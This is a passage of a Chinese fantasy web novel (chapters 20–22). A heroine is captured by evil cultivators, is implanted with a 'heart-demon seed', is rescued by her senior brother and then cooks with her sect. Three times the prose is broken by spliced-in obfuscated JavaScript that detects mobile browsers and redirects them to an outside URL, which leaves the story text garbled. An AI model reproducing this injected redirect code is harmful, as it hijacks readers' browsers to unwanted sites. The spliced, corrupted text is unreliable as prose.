“你这不是废话,都被引魂了还能活?” 居然是你们。 关云铮左手指尖掐进掌心,那看来今天就算是以卵击石她也非去不可了。 20.第 20 章 关云铮躲回灌木丛,拔出一截剑,跟摇羽低声商量:“你去把他们引开,我把那些姑娘救走。” 摇羽的剑身浮现出两个字:“不可。” 等半天来句“不可”,关云铮差点被气死,戳着剑身低声咬牙切齿:“我知道有风险,总比看着她们死要强吧,你能拖多久是多久,帮我这一次。” 而且这三个邪修肯定和原身魂魄的消散有关系,她必须要弄清楚这件事。 摇羽在她手里微微颤动了一会儿,最终什么字都没有出现,倏然出鞘,去引开那些人的注意力了。 关云铮在树后等待着时机。 失败会怎么样,她现在不敢去想。 她知道自己这样冒失、冲动,没有考虑自身的安危,但只要想到这些人就是让原身魂魄消散的元凶,她就无法完全冷静。 她曾经甚至觉得这些不是她的爱恨。 可此刻这些情绪清晰无比地横亘在她胸口,堵得她迫切地想找到一个出口,一口气宣泄干净。 不远处的人动了,追着急速飞走的摇羽而去,关云铮等待他们跑远,快速起身跑向那些姑娘。 掐人中应该是当下最快的方式了,她下了狠劲,把姑娘们挨个掐了一遍,焦急地等待着她们苏醒。 等不及她们完全清醒,她催促着醒来的人:“快走。” 好在她们并没有在这个时候追问,而是跌跌撞撞地爬起来跟在她身后往树林外面跑。 关云铮带着她们跑向刚才那三人离开的反方向,用上了这具身体能跑出的最快速度,时不时还得拉一把跑不动的姑娘。 肋下开始抽痛,应该是没做运动前准备导致的膈肌痉挛。喉咙也因为吸入了秋天的凉风发干。 越往外跑,树木生长得越稀疏,从叶片缝隙间洒下来的阳光越多。 在头顶彻底没有树荫遮盖的时候,她们终于跑出了这片林子。 姑娘们这才来得及转过身道谢,关云铮不想多说耽误时间,扶着膝盖剧烈地喘息,摆手催促她们赶快离开。 外面将近黄昏时分,阳光从正午的暖白变成金黄,晃得她睁不开眼。她眯着眼检查一番,经过长时间跑动,背后的包袱没有散开,东西也都还在,摇羽暂时顾不上了,她也得赶紧走。 等安全了一定回来找你。关云铮默默在心里对摇羽许下承诺,接着毫不犹豫就要继续往外跑。 她迈开步子的一瞬间—— 破空声从身后呼啸而至,关云铮完全本能地一个侧身,躲过了背后的攻击。 长时间奔跑使得她心跳如鼓,在剧烈的心跳声和尚未平复下来的喘息声里,她扭头看向袭击她的东西。 是摇羽。 不知道是不是因为用完了灵气,剑身的光泽完全消失了,深深地扎进她身后树木的枝干里。 “刚才还说没有青镜山的弟子,你看,这不就来了一个?”领头的人从树林中走出来,一双阴鸷的眼像是钉子,死死地楔在了关云铮身上。 关云铮近距离和他对上视线,终于在这一瞬间想起了自己到底在哪里见过他。 上次下山,在那个陶塑物件的摊位前。 他停留许久,手上拿着钱,却没有从那个摊位上带走任何东西。 或许是运动产生的多巴胺刺激了她的大脑,在这短暂对视的瞬间里,电光火石般的,关云铮意识到:他在那个摊位前停留的那一段时间,可能是要把刚使用过的香炉售卖出去。 所以他手中拿着钱,却没有拿走任何东西。 因为他本就不是去买东西的。 这或许就是她那时莫名其妙回头看了一眼的原因。 是原身的躯体,对毁灭她魂魄的人,有着本能的反应。 思考出这些结论后,关云铮又花了短暂的一秒,克制住自己的喘息声:“青镜山弟子的魂魄总要比普通人的用处大,你说是吧?” 两天之内被绑两次,这放到任何一个修仙文角色身上都是相当炸裂的。 而且这几个邪修也没有季邕那么傻了,绑她用的是很粗糙的麻绳,刚才她背着手试着挣扎了一下,不仅没松动还痛得要死。 关云铮面无表情地坐着,心想这次大概是要完蛋了。 其实刚才也不是没想过垂死挣扎一下,不要那么容易就束手就擒。但想到自己这个半吊子都算不上的入门级别,并且对面还具备三个人这样悬殊的数量优势,关云铮花了不到一秒的时间思考——然后束手就擒了。 当然,想知道原身相关的事情是她放弃抵抗的主要原因。 虽然待会儿她大概率会被引魂,然后彻底身死魂消。 那好像也挺对不起原身的。关云铮在心里叹气。 邪修三人估计是没想到她会半道出来把人放走,又不做任何挣扎就被他们绑了,还在被绑前说了那么一句话,一副早就知道他们要做什么的架势。三人一改原本大声密谋的行事风格,扎堆在一边小声说着话,估计是在商量怎么处理她。 绑了人的这么提防,搞得她这个被绑的很心梗。 你们这样显得我很厉害,但我根本不厉害啊喂! 好吧这也不是什么值得宣扬的事。 郁闷。 刚下山就被绑,刚准备上山又被绑;原身被引魂,现在她也要被引魂。 活脱脱待宰羔羊。 反正死都要死了,总得把心里的疑问搞清楚。关云铮破罐子破摔地清了清嗓子,对着那边的邪修三人说:“不是要给我引魂吗?” 三人中最沉默的那个率先转过头来看向她。 “你。”关云铮看向那个还没转过身来的人,也是那个说话最散漫,后来抓住她的人。 那个人转过身,眼睛在她身上上下扫视了一番,然后盯住她的眼睛。 有那么一瞬间关云铮希望自己能恢复原本的近视水平,而不是用原身无比优越的视力直面这双眼睛。 她从没在现实生活中见过这么黑的虹膜颜色,这样的眼睛一眨不眨地盯着自己时,她无法避免地感觉到一种发自本能的恐惧。 简单来说就是太黑了,瘆得慌。 背在身后的双手下意识地挣动,麻绳粗糙的质地狠狠扎了她一下。 那人的眼神不像认得她的样子,关云铮在那样的眼神注视下愈发冷静:他甚至不记得原身的相貌,毁掉一个人对他来说如此稀松平常。 “我倒还是第一次见你这种上赶着找死的。”那人终于动了,走向关云铮,在她面前站定。 麻绳上的草刺可能扎进皮肤里了,关云铮感觉自己的手腕有种细微的灼烧感。 这个身高差前提下,她一切的举动对面前的人而言,全都一览无遗。 关云铮在他眼皮底下往身后的树干上靠了靠。 那人眯起眼:“从哪儿跟过来的?” 关云铮靠在树干上,看了他一眼:“你们杀人这么磨蹭?” 哇我怎么敢的我居然挑衅杀人犯。 那人沉默两秒,毫无预兆地低声笑起来,笑声从鬼气森森到癫狂只花了几秒,笑了好一会儿才陡然收住,朝另外两个邪修伸手:“香,拿过来。” 关云铮面无表情,心脏却在胸腔里加速跳动起来。 和之前见过的几乎一模一样的香炉被放在她面前,鬼气森森的邪修伸手拔了她几根头发。 关云铮面部表情毫无变化实际痛得想骂人。 她看着眼前的人从怀里拿出一个火折子,点燃了那几根头发。 蛋白质燃烧的味道很不好闻,那邪修眼皮子都不带掀一下,把还没彻底烧完的头发握进掌心,掐灭了不太起眼的火苗,然后把手心的头发残余和燃烧过后的黑色物质一起放进了香炉里,用指腹压实。 这算什么?让香炉熟悉一下待会儿要引魂的对象吗? 关云铮看着他继续动作,把那支只比线香粗一点点的香插进香炉里。 就在这一瞬间—— 她清楚地看见那支香无火自燃,顶端冒出了一点红。 就这样?原理是什么?钻木取火好歹都得对光呢,你这光都挡完了,香怎么点着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865069|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 算了修仙世界能有什么原理,这世界甚至没有科学。 引魂香燃烧的速度很快,这么一会儿顶端已经有了一截香灰。 魂魄离体原来不会有感觉吗?她怎么跟个没事人一样。 关云铮正费解着,面前的邪修变了脸色。 他死死地盯着那支香,而后忽然抬头看向关云铮,伸手一把抓起她的衣领:“你到底是什么人?” 他手握成拳攥住衣领,关云铮没被衣领卡着,差点被他拳头怼得上不来气,使劲吞咽了一下才能开口说话:“怎么,你的引魂术失败了?” 虽然她也不知道怎么会失败,但是这种嘲讽坏人的好机会可不能错过! 就是喉咙真的好痛……呕。 邪修看了她一会儿,忽然用比刚才平静很多的语气说:“你还没引气入体?” 啊哦。 被敌方发现自己是新手了。 邪修心情很好似的松开手,甚至还帮她把衣领重新恢复原样了。 ?搞哪出? 关云铮还是有点想干呕,但顾不上了,甚至有种不太好的预感。 “既然我杀不了你……不如给青镜山送个礼物吧?”邪修再度低声笑起来。 另两个邪修这时候才开口:“你想干什么?不能用引魂术杀了她,我们也能用别的办法。” 虽然你说得对但求你别说。 “还没引气入体就敢来招惹我,”面前的邪修不知做了些什么,掌心似乎有红光在隐隐闪动,“归墟的弟子胆子就是大啊。” ?所以你哪位? “我们好不容易才得到这么一个,你要把它用在她身上?”另两个邪修见势不妙的模样,快步走过来要阻拦。 面前的邪修掌心红光暴涨,朝关云铮伸出手;另外两个邪修也一前一后抓住了他的手腕,要阻止他的动作—— 关云铮被红光晃到眼睛,下意识扭过头闭上眼。 邪修拽住她衣领迫使她回过头正对他,一缕红光随即从他指尖跃起。 关云铮躲闪不及,而那红光在瞬息之间没入她眉心! 面前的邪修肩膀耸动着大笑起来:“希望你的师门,喜欢我送他们的礼物!” 关云铮额间开始发烫,手腕持续了很久的灼烧感都感觉不到了,红光隐没处像是一处火源,炙烤着周围的皮肤。 突突,突突。那块皮肤像是活了一样,快速地搏动着。 关云铮被烫得不得不低下头,高温使得她此刻头痛欲裂。 她能感觉到周围的三个邪修还在争吵,但是却听不清他们说了些什么,心跳声像是扩大了无数倍,她自嘲地想,这下考试月焦虑躯体化都没现在严重了,她坐着就能听见心跳有多吵了,甚至不需要等到晚上失眠。 脸侧好像有风拂过。 关云铮抬起眼,发现一只蓝色的蝴蝶停在她的膝盖上,还在扑闪着翅膀。 蓝色蝴蝶? 是谁的来着? 她头脑昏沉,下意识想伸手去碰那只蝴蝶,被麻绳粗糙的感觉扎了一下才想起来,自己还被绑着。 她转过头,视线越过肩头,本能地想强行挣脱开手腕上的束缚,徒然挣扎一番后筋疲力尽,视线移开时却看见越来越多的蓝色。 关云铮眼神快要失焦,茫然地抬起头,一大群蓝色蝴蝶骤然闯入眼帘。 风声。 有什么东西从她身侧急速而来,穿过什么东西后停了下来。 痛呼声。 好像有人在她旁边跑动,但很快又没了动静,随即传来□□摔落在地的声音。 没听过的人声。 “云铮。” 关云铮循着声音抬起头。 一个高大的男人在她面前蹲下身:“我来带你回去。” 关云铮感觉脑袋马上就要炸开了,像是有无数只手在不同的方向撕扯、挤压。 她声音轻得自己都听不见了:“你是谁……” 男人似乎是放下了手里的什么东西:“我是江却。” 21.第 21 章 关云铮在一阵尖锐的耳鸣声中醒来。 脑袋两侧像是有两个不分轻重的力在施压,太阳穴的感觉则更像是有电钻想给她的脑壳打个洞。沉重的黑暗压在她眼睛上,她短暂地睁不开眼,稍微一动眼球就感受到一种牵扯般的疼痛,像是眼压过高的症状。眼皮像是脱离神经掌控,不受控制地狂跳不止,比之前食指抽动的频率高得多。 她干脆一动不动地躺着,顶着阵痛强烈的脑子思考:她是昏过去了还是怎么了,昏过去之前见到的那个人好像说他叫江却? 那就是一直在闭关没见过面的大师兄了? 昏迷之前听到的那些声音…… 应该是大师兄出剑把那三个邪修杀了,又把剑放下的声音? 好像一句遗言都没听到,邪修就命丧黄泉了。 还是没搞清楚原身究竟是为什么会落入邪修之手,也没搞清楚邪修们为什么不销毁香炉而是转手出售。 到底有什么阴谋呢…… 关云铮头痛欲裂,猛地坐起身。 睡不着的最佳应对方式就是不睡! 她暴躁地揉了几下太阳穴,又按着眼皮强行把眼睛睁开。 一团红雾飘在她眼前,见到她睁眼,在空中缓缓变换着形状,像是要凝聚在一起。 坦白说这一瞬间关云铮被吓得离飚出国粹就差那么一点。 什么东西??? 关云铮用尽毕生涵养把自己即将脱口而出的话咽下去。 “你醒了。”那团红雾开口了。声音非男非女,符合影视剧中对魔物的刻板印象,一听就不是什么好东西。 或者也不是它开的口,但关云铮环视了一圈,发现自己在一个纯白的空间里,整个空间除了自己似乎只剩下这一团东西了。 她没开口,那只能是雾在说话了。 多新鲜呐。 关云铮面无表情地想。 “你不好奇我是什么吗?没有什么话想问我吗?”那团红雾在她面前缓慢移动着。 关云铮仔细端详了一会儿,发现红雾里似乎有什么东西格外地亮,偶尔还闪一下,红光直晃眼。 关云铮闭了闭眼:“你有别的颜色吗?我看你看得眼睛疼。” 红雾似乎凝固了一瞬间。 它再度开口时听着咬牙切齿的:“你到底是哪个门派的弟子?” 关云铮感觉自己的脾气在逐渐变坏,准确地说在逐渐变回原来的样子,而不是这几天刚来到修仙世界,人生地不熟的时候拘谨的心理状态。 因此她看也没看那团东西,语气平淡地回答:“关你屁事。” 话音落下,空间里安静了一会儿。 关云铮突然感觉眉心尖锐地痛起来,不得不伸手按住那一块像是要挣脱这具躯体的皮肤。 “我奉劝你,小丫头,对我客气一点,毕竟未来你还要和我共处很多年。”那团红雾不再移动了,而是以中心的那个发光亮点为核,逐渐汇聚起来,在不得不抬起头看它的关云铮面前,凝成了一枚种子似的东西。 “也没见你对我客气多少,倒要求起我来了。”关云铮冷笑一声,说道。 脾气不好的时候惹不起的东西也照惹的,不好意思。 “我屈尊在你这具还没引气入体的躯体里扎根,你的识海甚至一片空白,我还没待过这么差的地方。”“种子”继续说道。 “我求你来了?你自己被人拿捏,没法反抗,还怪我不争气?你这么厉害有本事出去啊。”关云铮索性放下手了,反正按着眉心也没法缓解半分疼痛,“说完了吗,说完麻烦闭上嘴。” “啊,我看见了,原来是归墟的弟子,苍生道,哪里来的小破门派?以天下苍生为己任?不愧是你们名门正派,把愚蠢当正义。”“种子”颇感兴趣地说道。 关云铮毫无反应,寡淡的面部表情没有产生任何变化。 “引气入体虽然没学会,经历倒是称得上精彩,只是——”“种子”吊人胃口似的拉长声音,“这具身体原本的主人知道,你顶着她的身体做了这些事吗?” 被人窥探毫无疑问是一件令人恼怒的事,但关云铮此刻却没有太多反应。可能是因为痛觉使她分不出太多精力来表达愤怒,也可能是她始终觉得自己问心无愧。 非要论负罪感的话,那也仅仅是对原身,她所有的愧疚、所有无法说出口的秘密,都是她和原身两个人之间的事。他人的窥探和自以为是的戳破,实际无法触及这些问题的根源。 也就无从愧疚。 “你想说什么,别搞迂回那一套了。”关云铮直截了当地说道。 “种子”贴近她,在她眼前悬停:“有意思……居然有我没见过的东西。” 废话,我现代人。 “你觉得你死后,你的母亲会为你感到悲伤,还是会愤怒呢?”“种子”轻飘飘地问道。 关云铮非常短暂地皱了一下眉,那点变化很轻微,但“种子”还是捕捉到了,像是被鼓舞一般,话语变得更低更密:“她是会反思自己对你做过的一切,还是指责你是个不孝的女儿呢?” 那一瞬的松动像是“种子”的幻觉,因为它听见关云铮毫无波澜的声音回答道:“不重要了,我已经死了。” 她的母亲是会在得知她死讯的那一刻崩溃大哭,还是会在得知她死于熬夜后恨铁不成钢,这些都不重要了。 她活着的时候没有和她互相理解过,死了就更没有这个可能了。 “那你的朋友们呢?她们一定很难过吧?”“种子”继续诱导般地说道。 关云铮很慢地眨了一下眼睛,像是难以忍受疼痛时的不自觉反应。 “种子”在空中不太明显地上下浮动着,关云铮却没有在这个问题上给出任何回答。 “你……想要邪修死吗?”“种子”声音很低地问道。 关云铮像是已经和疼痛和谐相处了一样,听见这个问题甚至笑出声了:“你好像很想看见我崩溃,你是那个邪修给我种的心魔吗?” 闻越在小院里来回踱步,连映被他晃得眼晕,终于在他第三十四次经过自己面前时,伸手把人摁住了。 江却在连映旁边站着,旁边的石桌上放着两把剑。 一把是抱回关云铮后去找回来的摇羽,一把是他自己的配剑,破钧。 在这之前,关云铮就已经在房间里躺了一夜了,至今没有苏醒过来的迹象。早晨连映进去帮她擦脸的时候,甚至发现她整个人都热得滚烫,赶紧把刚出发去找步雁山的章存舒又喊了回来。 房门上下了禁制,江却一刻钟前试着去推了推,纹丝不动。 “师兄不是把那几个邪修都解决了吗,云崽怎么好像还是受影响了?”闻越刚送走那一大群蝴蝶,从蝴蝶带来的消息里得知江却刚落地就把三个邪修都杀了,邪修应该还没做什么才对。 连映摇摇头,看向江却。 江却昨晚把关云铮抱回归墟的时候,后者就已经昏过去了,只是当时章存舒也看过,发觉种种迹象都很平稳,不像是昏迷更像是因为过度疲累睡着了。 怎么一夜过去反倒烧起来了? 哪怕发烧也不是这样的规律。 江却正打算开口,任嵩华的声音在三人上空响起:“苍生道可有异常?” 三人抬头,发现任嵩华御着剑就从来去峰上下来了。 从没见过她在门中御剑,江却皱眉:“来去峰出什么事了?” 任嵩华落地收剑,看了紧闭的房门一眼,随即又看向江却:“不能确认。” 不清楚关云铮现在的状况,闻越本来就着急,听任嵩华说的这话更是觉得事态好像有点严重起来了。 来去峰上能让任嵩华御剑下来的事还能有什么? 除了不熄鼎闻越想不到别的了。 但是不熄鼎的问题和苍生道有什么关系?而且看任嵩华的意思,似乎还是跟关云铮有关系? 闻越其实一直有点怵任嵩华,虽然他从没见过任嵩华动手,但是闭关之前的江却说过,他打不过任嵩华。 江却是不是因为这件事而选择闭关,他不知道,他只知道这几年仙门式微之后,已经很少有人会修无情道了。 具体原因他没有特意了解过,只知道无情道的修士特别容易中途道心破碎,继而走火入魔,又因为无情道的弟子往往都是同届中最拔尖的,所以每一次无情道弟子出点什么事就闹得格外大,久而久之修仙的就都不太敢修无情道了。 纯粹的强大固然令人心驰神往,但没人敢赌自己会不会是那朵只开短暂一瞬的昙花。 更别说有些人可能穷尽一生都开不出花。 但眼前的这位任师姐,除了是归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868944|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墟这些年来唯一一个无情道以外,还是目前归墟弟子中辈分最大的。 来去峰那处小院落成了多久,她就在那个山头修了多久的无情道。不仅没疯没傻,还强得可怕。 虽然心里发怵,但闻越很想问问任嵩华的话是什么意思,犹豫了一会儿正要开口,身后的房门开了。 他顿时顾不上刚才想的问题,转过身看向走出门的章存舒:“师父!” 江却和连映也一起看过去。 章存舒先拍了拍闻越的肩头以作安抚,再转头看向站在院中的任嵩华:“是掌门让你过来的?” 任嵩华摇头:“不熄鼎有异动。” 章存舒似乎不太惊讶,也看不出惊慌,点了点头:“云崽应该快醒了,你们可以进去看看。” 闻越嗖的一下就进去了。 章存舒笑着叹了口气,嘱咐走在后面的连映:“轻点说话,她现在可能听不得太响的声音。” 连映点头应下,也进门去了。 章存舒看向江却:“阿却。” 江却看了眼开着的房门:“师父,云铮她……” 章存舒从台阶上走下来,欣慰般地拍了拍江却的肩膀:“做得好,她现在暂时没事了,我去找掌门一趟,你们在这陪她吧。” 江却见章存舒不打算多说的样子,点头收声,也进房间去了。 任嵩华跟上章存舒的步伐:“先生。” 章存舒“嗯”了声,没有主动开口的意思。 “云铮与不熄鼎之间为何有关联?”任嵩华问道。 章存舒似乎是笑,又似乎是叹,轻声说道:“是啊,我正要去问她。” 关云铮本来还想再骂两句心魔引,一片空白的识海忽然间响起了奇怪的声音。 像是……潮水声。 她在21世纪的时候没见过海,但是没少在期末月或者睡不着的时候翻白噪音来听,对潮水声还算比较熟悉。 但识海里的声音听着又不跟潮水声完全一样。 心魔引显然也听见了那个声音,原本被她激怒正骂骂咧咧,突兀地停顿了一下才又说道:“你引气入体了?” 语气很匪夷所思。 关云铮比它还匪夷所思:“谁?我?我引气入体了?” 惊呆了。 心魔引忽然安静下去,好半天都没再说话。 只剩下潮水声在一片空白的识海中兀自响着。 不知道是不是因为适应了没新的疼痛,又或者它真的在逐渐减轻,关云铮现在几乎没什么感觉了,还能换个舒服点的坐姿。 心魔引也暂时老实了,要不干脆躺下好了。 关云铮习惯性摆烂,根本没把心魔引那句她已经引气入体的话放在心上,正准备美滋滋躺下。 一种暖洋洋的感觉擦过她鼻尖。 关云铮动作一顿,右手下意识往后一撑,要躺下的动作不上不下地卡在半路。 眼前似乎有什么东西在闪。 她下意识伸出左手。 先是指尖触碰到了那种暖洋洋的感觉,接着是整个手掌—— 一团金色的光在她掌心亮了起来。 “她眼睛是不是动了?”闻越不敢放过关云铮任何一点动静。 江却伸手把人拉开点距离:“别靠那么近,醒来会受惊吓。” 闻越老实退回来一点。 连映给关云铮掖了掖被角,又伸手摸了一下她的额头:“不热了。” 闻越扒在床脚的架子上眼巴巴地看着。 或许是三双眼睛一起的注视太过殷切,关云铮终于在片刻之后醒来。 她先是动了动手,做了一个虚空抓握的动作,随即缓慢地睁开了眼睛。 江却敏锐地意识到有哪里不对,连映已经开口:“醒啦?” 关云铮眨了眨眼,把自己撑起来:“师姐。” 又看看床脚可怜巴巴的闻越,弯弯眼睛:“三师兄。” 再看向连映身后的江却:“大师兄。” 虽然叫的顺序有先后,但在心中的排名不分先后。关云铮习惯性又在心里给自己叠甲。 挨个叫完后,关云铮美滋滋地开口道:“我要宣布一个好消息!” 连映给她拉了拉被子:“什么好消息?” “我终于引气入体啦!” 22.第 22 章 关云铮高高兴兴地宣布完好消息,立马又“哎哟”一声,捂了捂自己的耳朵,变为小声嘟囔:“我刚声音这么大吗,怎么震得我耳朵疼。” 嘟囔完了一抬头,发现床脚的闻越急得扑到面前来了,凑上来左看看右看看,小声问她:“那几个邪修没伤害你吧?身上有伤吗?” 关云铮认真思考了一下,打算伸出自己的手腕诉个苦,结果一低头发现手腕上几乎看不出什么被绑过的痕迹了:“咦?” 连映在旁边解答疑惑:“应该是师父上了药。” 喔,好神奇的药,居然这么快就一点痕迹都没有了。 被闻越过于殷切的关心目光看着,她又思考了一下自己身上还有没有别的问题,片刻后小声说:“有个邪修好像给我下了个心魔引。” “什……!”闻越差点跳起来,脱口而出后猛地意识到声音太响,忙不迭又是给关云铮捂耳朵又是收敛音量,“你怎么确定是心魔引的?” 关云铮眨两下眼睛:“心魔引自己告诉我的。” 床边三人陷入沉默。 片刻后,闻越小心翼翼地开口:“师父……知道吗?” 连映摸了摸关云铮的手背,发现不烧了之后有点凉,又给她塞回被窝里:“应该知道。” 关云铮后知后觉地意识到不对劲,也变得小心翼翼的:“我不会是因为心魔引才能引气入体吧?” 这种事情不要啊。成就感都没了呜呜。 “那你大可放心。”章存舒的声音从外面传来。 师门四个一起扭头。 章存舒似乎是被眼前这一幕逗笑了:“之前总觉得差点什么,阿却出关后看着舒服多了。”他说着在屋里的椅子上坐下,“还是人齐了顺心。” 江却先开口,截断他继续跑偏的可能:“方才您说可以放心?” 章存舒点头:“云崽发热也是因为引气入体,我探查过,心魔引暂时没翻出什么水花。” 闻越还是有点顾虑:“为什么没翻出水花?而且怎么是暂时?” 关云铮悄悄从被窝里伸出一只手,安抚地拍拍紧张的三师兄。 章存舒也很好奇的模样:“那得问问云崽。” 于是四双眼睛又看向关云铮。 “嗯……总不会是因为,它骂不过我?”关云铮有点心虚,默默缩进被窝,只剩下一双眼睛露在外面。 师门再次集体陷入沉默。 片刻后章存舒率先没撑住,笑出了声:“也不是没有这种可能。” 闻越已经惊呆了,喃喃道:“心魔引原来这么欺软怕硬的吗?” 关云铮又从被窝里把嘴解放出来,不然呼出的潮气快把被子熏湿了:“不过也有可能是它现在力量不够,又说不动我,所以暂时不能把我怎么样。” “说不动你?”连映微微皱眉。 关云铮思考了一下要不要把对话内容,不是,对骂内容说出来,章存舒已经从椅子上站起身:“所以为求稳妥,我得给心魔引下个封印。” 关云铮“喔”了声,在被窝里乖乖仰起脸,露出眉心。 这下江却都没绷住,扭过头去低声笑了。 连映更是直接伸手捏了一下她的脸:“真可爱。” 给心魔引下完封印,师父带着师兄和师姐走了,关云铮坐在被窝里思考今天的日程:上午的课上不了了,下午的课——关云铮伸长胳膊翻了翻放在枕边的课表——蒲飞鸢的课。 离开了两天半,应该还没错过御剑飞行吧? 不是,等会儿,什么时候有课表这种东西了?是不是偷偷内涵她老不上课! 好吧她确实老不上课,明涵了这是。 关云铮默默心虚,又下床快速把自己收拾好,打算趁还早,去食堂炒几个菜。 都怪心魔引窥探她,害她又想起现代那会儿吃过的菜了,馋得吵架的时候都在咽口水,可恶。 时间还早,独属于苍生道的食堂静悄悄的,连厨子都不在。 来了这几天还没去过归墟里的其他地方,不会真的只有他们苍生道有饭堂吧?那她师父可真够馋的。 关云铮一边哼歌一边找菜切菜,发现还有块猪肉,在原地陷入纠结。拿的话,没冻过的猪肉很不好切,全靠来回拉刀才能切下来,不拿的话……她又有点馋。 前面还蛐蛐师父,现在看来馋是一脉相传的。 关云铮正纠结,一个很哀怨的声音在她身后响起:“拿了我的刀还要拿我的猪肉……” 她吓得差点把菜刀丢出去。 一个身量不算很高,身材也并不魁梧的男人站在她身后,表情和声音一样哀怨:“用我的厨房做菜也就算了,我居然还没尝过你做的菜。” 好吧原来是第三个馋鬼。看样子应该就是她家师父找来的厨子了,只不过看着好像不太符合她对厨子的刻板印象。 关云铮把刀递回去,试探着问:“今天让你尝尝,你帮我把肉切了?” 对面的人居然没什么意见,接过刀就站到案板前准备切菜了。 ?这么温顺的吗? “你是老章收的小徒弟?”那人一边游刃有余地切肉一边问道。 关云铮点点头。 他抬起头看关云铮一眼:“我叫李演,演化的演,随你怎么喊。” 关云铮继续点头:“李厨。” 李演切肉的手一顿:“也行。”他继续切肉,“你上次都做了些什么菜?” “就菜地里那些菜,没什么花样。”关云铮老实说。 李演切肉的动作顿时带上了恨意,说话的语气也变得咬牙切齿的:“那老章还说你做得比我好吃?” 关云铮默默往旁边退了点,不敢招惹正拿着刀的人。 “他夸你茄子做得好,说我茄子做得难吃?”李演看上去好像要气死了。 关云铮小心翼翼地探头看了眼:“那要不,我今天做道茄子?” 李演一秒喜笑颜开:“好嘞。” ? 骗吃骗喝是吧! 最后做了一道茄子,一道肉末蒸蛋,还有一堆菜地里的菜,关云铮抓到什么就顺手炒了一盘。 虽然她最开始翻到那块猪肉的时候还没想好要拿来做什么,但是等到后来,李演已经把肉剁成肉末了……除了肉末蒸蛋她暂时也想不出什么更好的选择,毕竟总不能现场揉面包饺子吧。 菜刚端上桌的时候李演就想夹一筷子茄子,被不知道哪儿来的东西打了一下,“哎哟”了一声。 关云铮回头,发现章存舒带着师兄师姐们过来了,右手刚收回去:“人都没齐你就想吃?你有那么馋吗?” 章存舒埋汰了李演一句,带着自己的徒弟们在桌边坐下了。 关云铮心说谁也别说谁吧,俩馋鬼。 江却还是第一次见到关云铮做的菜,第一反应是看向连映。连映凑到他耳边,小声说了几句悄悄话。 虽然听不清,但是嗑到了。 关云铮很满意,坐在餐桌边等开饭。 章存舒先给她夹了一筷子菜:“下午是去上课还是再休息一阵?” 关云铮感觉自己蛋蒸得不错,又嫩又滑:“上课吧,之前蒲先生就说希望我能到……” 怎么说着说着这么心虚呢…… 章存舒点头,没再问,一口菜一口饭地吃着。 李演尝了口茄子,服气了:“确实是你做的好吃。” 关云铮在一群长辈和前辈面前谦虚道:“是这个做法容易做得好吃,您做也好吃。” 李演没揭穿她无伤大雅的扮乖面具,笑眯眯地继续吃饭了。 关云铮吃着吃着想到些什么,凑到闻越耳边:“师兄,你的蝴蝶为什么能找到我?” 闻越夹了块蒸蛋:“昨日正午我和师姐就觉得你该回了,给我大哥传了信,他说你已经走了。”他吃了口蒸蛋,满意地眯眼,“他还说,把我和他固定联络的另一只灵蝶放进给你的包袱里了,我就让其他的蝴蝶顺着那只去找了。” 关云铮点点头,心说大哥就是靠谱,点完头又想起什么,差点把筷子咬了:“我包袱呢?灵蝶不会闷死了吧?” 闻越觉得好笑:“你自己都差点没命,还关心蝴蝶?” 关云铮戳着碗里的米饭:“那是因为我不知道蝴蝶在包袱里,万一真的闷死了不就是我的错了吗。” 连映都被他们这边说小话的动静吸引了,凑过来听了一耳朵后失笑:“这种事有什么对错,非要说的话……” 闻越自然无比地接话:“那也是我大哥的错,他把蝴蝶放进去却没跟你说。” ? 你真是好弟弟。 连映旁边的江却听不下去了:“他们跟你说玩笑话,小越的蝴蝶是灵体,不会死的。” 。 大师兄或成你派唯一老实人。 “既然能锁定我包袱里灵蝶的位置,为什么还送了那么多蝴蝶过来?”印象中那可是好绚烂的一大群蓝色蝴蝶呢。 闻越沉默了一下,还是实话实说了:“灵蝶对野生蝴蝶的吸引力比较强。” 喔,合着本来就一只,剩下的都是被吸引后跟着过来的。 不过这有什么好沉默的?关云铮狐疑地看向闻越。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872581|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻越难得露出欲言难止的表情:“我大哥说下次还是换传音符比较好,这种招蜂引蝶的事不太适合他。” 关云铮点点头:“言下之意是比较适合你?” 闻越:“。” 一生之中总会有那么几次脑子追不上嘴的经历,关云铮已经麻了。 连映再次被逗笑。 也不知道闻越是缓过来了想岔开话题,还是根本没放在心上,很快又对关云铮说:“你想不想知道当时大师兄是怎么救你的?” 关云铮配合道:“怎么救的?” “他刚一出关就听见我和师姐说你还没回来,直接召出破钧就御剑下山了。”闻越发现茄子快被李演和章存舒吃完了,赶紧夹了一筷子。 